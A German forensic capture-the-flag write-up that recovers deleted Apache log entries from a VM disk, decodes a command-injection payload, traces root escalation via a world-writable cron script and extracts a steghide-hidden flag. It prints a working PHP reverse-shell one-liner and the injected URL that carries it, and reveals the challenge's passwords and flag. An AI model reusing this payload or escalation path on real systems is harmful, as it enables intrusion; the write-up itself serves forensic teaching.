Remote-Shell in gelöschter Webserver-Logdatei

Die Logdatei des Webservers wurde vom Hacker bereinigt. Wir finden dort lediglich einige Cross-Site-Scripting-Versuche und eine Eingabe einer langen Zeichenkette von As, die wohl den Buffer Overflow auslöst, aber keinen Angriffsversuch darstellt und lediglich zu einem Absturz führen dürfte. Allerdings wissen wir natürlich, dass gelöschte Daten oftmals nicht wirklich gelöscht sind. Um möglicherweise gelöschte Logdaten zu finden, schauen wir uns die Partition selbst an. Das machen wir außerhalb der virtuellen Maschine. Die Partitionen in einer vmdk-Datei lassen sich mit dem Programm 7-Zip extrahieren. Wir erhalten eine SWAP-Partition und ein EXT4-Dateisystem. Das Dateisystem durchsuchen wir mittels strings und grep nach der Zeichenkette GET.

Wir finden tatsächlich einige weitere Logeinträge, die uns Aufschluss über den Angriff geben. Spannend sind Einträge dieser Form:

192.168.1.11 - - [23/Nov/2016:10:13:32 +0100] "GET /originalIndex.php?password=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA& file=;%70%68%70%20%2d%72%20%27%24%73%6f%63%6b%3d %66%73%6f%63%6b%6f%70%65%6e%28%22%31%39%32%2e%31 %36%38%2e%31%2e%31%31%22%2c%31%32%33%34%29%3b%65 %78%65%63%28%22%2f%62%69%6e%2f%73%68%20%2d%69%20 %3c%26%33%20%3e%26%33%20%32%3e%26%33%22%29%3b%27 HTTP/1.1" 200 1991 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"

Die Prozentzeichen sind URL-codiert, wir verwenden PHP, um diese zu decodieren, beispielsweise auf der Kommandozeile mit php -r echo(urldecode([eingabe]));). Das Ergebnis:

php -r
'$sock=fsockopen("192.168.1.11",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

Der Angreifer nutzt hier PHP, um eine Remote-Shell aufzumachen. Über den Port 1234 kann er anschließend in das System eindringen. Etwas überrascht sind wir über die IP-Adresse. Es handelt sich sowohl im Log als auch in der Remote-Shell um eine lokale IP, die eigentlich von außen nicht zugänglich sein dürfte. Der Angreifer muss sich also im lokalen Netz befinden oder wir haben es mit einer ungewöhnlichen Portforwarding-Konstruktion zu tun. Da wir über das Netzwerk jedoch keine weiteren Informationen haben, können wir hier nicht weiterforschen.

Was liegt unter /home/root?

Wie wurde der Angreifer aber zum Root-Nutzer? Hier müssen wir eine Weile rätseln. Wir finden ein Verzeichnis /home/root mit diesen ungewöhnlichen Berechtigungen: drwx---r--. Das Verzeichnis hat also Leserechte für alle Nutzer. Darin finden wir eine Datei root_pw und eine Datei Rul0rzZrootPw.

In Rul0rzZrootPw finden wir das aktuelle Root-Passwort (JDWbwz334aawefHHwf/)2). Wir vermuten zunächst, dass die Datei root_pw das originale Root-Passwort (2Has21sjJ0w3/?dee82H) enthält und dort bereits vorher lag. Die seltsame Leseberechtigung erlaubt allerdings keinen Lesezugriff auf die Datei. Sie ermöglicht es uns lediglich, den Inhalt des Verzeichnisses anzuzeigen. Wir können als Nutzer die Dateien darin nicht auslesen.

Letztendlich finden wir die mutmaßliche Lösung woanders: Es existiert ein Cronjob des Root-Nutzers, der regelmäßig ein Skript mit dem Namen doAlwaysCron.sh ausführt. Dieses Skript lässt sich von allen Nutzern lesen und schreiben. Somit kann der Nutzer www-data dort eigene Befehle einfügen. Sie werden kurze Zeit später mit Root-Rechten ausgeführt.

Wir finden weiterhin noch ein Verzeichnis hackedData im home-Verzeichnis. Darin gibt es zwei Dateien flagImage.jpg und hackedPasswords.txt. Das Bild flagImage.jpg zeigt uns den Text "You are close! However, this is not the flag! Maybe you should look a bit closer... :-)".

Einen Hinweis, was es mit diesem Rätsel auf sich hat, finden wir in der Bash-History des Root-Nutzers. Dort wird der Befehl steghide ausgeführt. Dabei handelt es sich um ein Programm, das Nachrichten passwortgeschützt in Bildern versteckt. Wir analysieren die Datei außerhalb des Images und stehen vor einem Problem: steghide wird nicht mehr weiterentwickelt und lässt sich auf einem modernen System mit aktuellem gcc-Compiler nicht kompilieren. Allerdings finden wir einen Patch, der uns weiterhilft. Wir probieren mit einer Schleife alle Passwörter aus hackedPasswords.txt aus. gr3at3stH4xX0rAl1ve!1 ist das richtige Passwort und wir erhalten folgende Lösung:

You solved the challenge!
Here is your nugget <@:-)
 
H4CK1NG_1S_RE4LY_4WESOM3!